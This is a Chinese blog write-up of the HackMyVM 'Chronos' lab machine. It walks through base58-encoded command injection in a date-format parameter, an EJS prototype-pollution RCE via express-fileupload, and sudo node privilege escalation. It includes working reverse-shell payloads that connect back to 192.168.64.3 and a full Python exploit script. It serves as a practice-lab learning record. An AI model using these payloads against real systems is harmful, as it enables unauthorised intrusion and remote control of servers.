hackmyvm Chronos复盘
FLow

前言

一个考验细心的靶场,我还挺被卡的,也是给我一个教训,写复盘主要是记录回顾,做出来主要还是参考了大佬的wp,写完wp还是意识到自己基础太弱,希望暑假能静下心好好补基础

主要参考:

https://al1enum.github.io/docs/Chronos.pdf

https://www.bilibili.com/video/BV15o4y1z73N/?vd_source=04ff153ff0b36e8676b4638902ed9f4b (讲的很细,推荐)

信息搜集

前期看到开了22,80,8000端口,先看80和8000

最开始拿到两个网页,内容差不多,查看源代码也没看到什么新东西,扫了很久目录扫到一个/date,访问之后是一些报错,暂时对我没什么帮助,这个时候我就被卡住了。。。。

然后我就看了wp提示,要观察访问网站的请求包

可以看到这里有个域名,要编辑一下/etc/hosts了,再访问

主要到/data?format=有一段内容,尝试拿去解码

base58解码后发现这是一个显示时间的命令,至于为什么会Permission Denied,经过研究,发现是请求包的缺少了特定的ua头(正常抓包能发现是有的)(后来发现网站源码有一段被混淆的代码,解混淆后也能知道要求有特定ua头才能执行代码)

于是加上之后才能正确看到时间

功能点利用

知道有这个功能点,可以尝试命令注入,format参数接收命令,于是尝试

1
2
;bash -c '/bin/bash -i >& /dev/tcp/192.168.64.3/8888 0>&1'
base58编码:YLAX9KhLnbeXJEfvdxJCU6qbixB1RzHhWDZ87VijVMTAtiYpjwpV2jJXtqZBGQg1uLKckNVQHium3Ca

成功反弹到shell

提权

看了一下靶机开放的端口

发现内网还开了一个8080端口,curl一下

发现有Chronos version2,回到上一级目录,有一个chronos-v2,看一下代码

ejs库使用express-fileupload来处理文件上传,有一个利用原型链污染的poc(还不是很懂原理)可以直接用

https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.64.3/1234 0>&1"'

print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")

执行这个poc就能得到imera的shell

然后sudo -l就能看到有node和npm可以用

直接gtfobins利用node一把梭,提权成功,结束

由 Hexo 驱动 & 主题 Keep